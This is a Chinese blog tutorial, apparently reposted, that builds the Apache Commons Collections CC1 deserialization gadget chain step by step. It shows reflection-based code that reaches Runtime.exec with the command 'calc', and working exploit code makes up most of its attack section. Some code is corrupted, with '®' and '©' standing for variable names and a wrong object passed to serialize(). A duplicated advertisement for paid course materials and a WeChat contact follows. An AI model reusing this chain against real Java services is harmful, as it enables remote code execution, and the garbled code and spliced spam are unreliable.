当前位置:   article > 正文

JavaSec 基础之 CC1 链,保准看明白

JavaSec 基础之 CC1 链,保准看明白

所以我们只需要进行常用的Map遍历,就可以调用setValue方法

for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式
entry.setValue®; //调用setValue方法,并把对象r当作对象传入
}

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”});
HashMap map = new HashMap();
map.put(“aaa”,“aaa”); //给map一个键值对,方便遍历

Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式
entry.setValue®; //调用setValue方法,并把对象r当作对象传入

流程就是我们遍历 transformedmap 的时候用的是 entrySet() , 来自于 transformedmap 父类的 entrySet() ,然后就会进入其父类的副类 MapEntry 下的 构造方法,使每个 entry 这里就是 “aaa”->“aaa” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类,AbstractMapEntryDecorator 又引入了 Map.Entry 接口,所以可以通过遍历调用 setValue 方法,恰巧 MapEntry 重写了这个方法。,而这个重写的方法正好调用了 checkSetValue。

image-20240311191107919

0x3

老规矩,继续查找用法,看看有哪些方法里面调用了setValue并且可以被我们所利用.

好巧不巧 sun 包下的 sun.reflect.annotation 里的 AnnotationInvocationHandler 类就有这个方法

而且还是重写的 readObject 方法调用的

image-20240311194420595

我们依旧看一下这个类的构造方法

AnnotationInvocationHandler(Class<? extends Annotation> type, Map

接受一个注解型的,第二个是个 Map 型的,而且这个 memberValues 会被拿去遍历,所以这个我们就可以传 invokerTransformer

注意到这个构造器没有类型,所以默认只能内部调用,那我们只能用 反射 来获取构造方法了。

//反射获取AnnotationInvocationHandler类
Class c=Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
constructor.setAccessible(true); //修改作用域
constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型,第二个就是我们之前的类

//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(“ser1.bin”));
oos.writeObject(object);
}

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”});
HashMap map = new HashMap();
map.put(“aaa”,“aaa”); //给map一个键值对,方便遍历

Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//反射获取AnnotationInvocationHandler类
Class c = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
constructor.setAccessible(true); //修改作用域
constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型,第二个就是我们之前的类
try {
serialize©;
} catch (Exception e) {
e.printStackTrace();
}
}

没有反应,想要正常反序列化整条链子,我们当下还要解决三个问题

0x31

首先就是 Runtime 这个类它没有 Serialize 接口,不能被序列化

image-20240311210523160

但是 Class 可以被序列化

image-20240311210636322

那我们就可以利用反射来调用 getRuntime 方法从而得到 Runtime 的实例化类

Class c=Class.forName(“java.lang.Runtime”); //获取类原型
Method getRuntime= c.getDeclaredMethod(“getRuntime”,null); //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法无无参方法,所以全为null
Method exec=c.getDeclaredMethod(“exec”, String.class); //获取exec方法
exec.invoke(r,“calc”); //实现命令执行

没问题,可以调出计算器c来。现在就重复上面的分析,想办法用 transform + 反射实现计算器的弹出。

我们回想一下之前怎么用 InvokerTransformer 的,利用了 InvokerTransformer 的 transform 里的反射机制

new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”}).transform®;

上面调用了 r 的 exec 方法,那我们就可以依葫芦画瓢

//先调用 getDeclaredMethod 方法 获取getRuntime方法
Runtime.class -> getDeclaredMethod()
//再调用 invoke 方法获取实例化对象
getRuntime -> invoke()
//获取exec方法,并进行命令执行
r -> exec

Method getRuntime = (Method) new InvokerTransformer(“getDeclaredMethod”, new Class[]{String.class,Class[].class}, new Object[]{“getRuntime”,null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer(“invoke”, new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”}).transform®;

但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

image-20240311223127551

返回的是执行 transform 后的对象,用在这里刚刚好

Class rc=Class.forName(“java.lang.Runtime”);
//创建一个Transformer数组用于储存InvokerTransformer的数据,便于遍历
Transformer[] Transformers=new Transformer[]{
new InvokerTransformer(“getDeclaredMethod”,new Class[]{String.class,Class[].class},new Object[]{“getRuntime”,null}),
new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);

好那么好,我们接下来就和上面一样用 TransformedMap 来调用 ChainedTransformer,用 AnnotationInvocationHandler 触发 TransformedMap

Transformer[] Transformers=new Transformer[]{
new InvokerTransformer(“getDeclaredMethod”,new Class[]{String.class,Class[].class},new Object[]{“getRuntime”,null}),
new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc”})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
HashMap map = new HashMap();
map.put(“aaa”,“aaa”); //给map一个键值对,方便遍历
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
//反射获取AnnotationInvocationHandler类
Class c = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
constructor.setAccessible(true); //修改作用域
constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型,第二个就是我们之前的类
try {
serialize©;
} catch (Exception e) {
e.printStackTrace();
}

0x32

如果我们把上面的 POC 拿去 序列化还是不行的,还得绕过 AnnotationInvocationHandler 类里面的两个 if 判断

调试一下发现第一个 if 都进不去,这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解 Override 是没有成员变量的:

而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value:

map.put(“value”,“aaa”);
Object o = constructor.newInstance(Target.class,transformedmap);

成功进入第一个 if

image-20240311230709280

再来看第二个 if

memberType.isInstance(value)

isInstance是Class类的一个方法isInstance(Object obj),obj是被测试的对象,如果obj是调用这个方法的class或接口 的实例,则返回true。这个方法是instanceof运算符的动态等价(memberType,value 是否可以强转

肯定不是啊,直接进 if 里面了

0x33

终于到最后一个问题了,我们传入的value值根本就不是我们需要的 Runtime.class

memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + “[” + value + “]”).setMember(
annotationType.members().get(name)));

image-20240311233526460

我们最后要的是

chainedTransformer.transform(Runtime.class);

这里就需要ConstantTransformer类,

image-20240311234341317

我们看到这个类里面也有transform,和构造器配合使用的话,我们传入什么值,就会返回某个值,这样就能将value的值转为Runtime.class

再 chainedTransformer.transform(xxx),时,我们让 transforms 数组第一条是

new ConstantTransformer(Runtime.class)

这样就相当于

ConstantTransformer(Runtime.class).transform(xxx)

然后 transform return 出 iConstan 也就是 Runtime.class,之后 chainedTransformer 继续遍历下去。至此,最后一个问题也解决了。

0x04


完整代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

032a9919b755.jpeg)

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/正经夜光杯/article/detail/779998
推荐阅读
相关标签
  

闽ICP备14008679号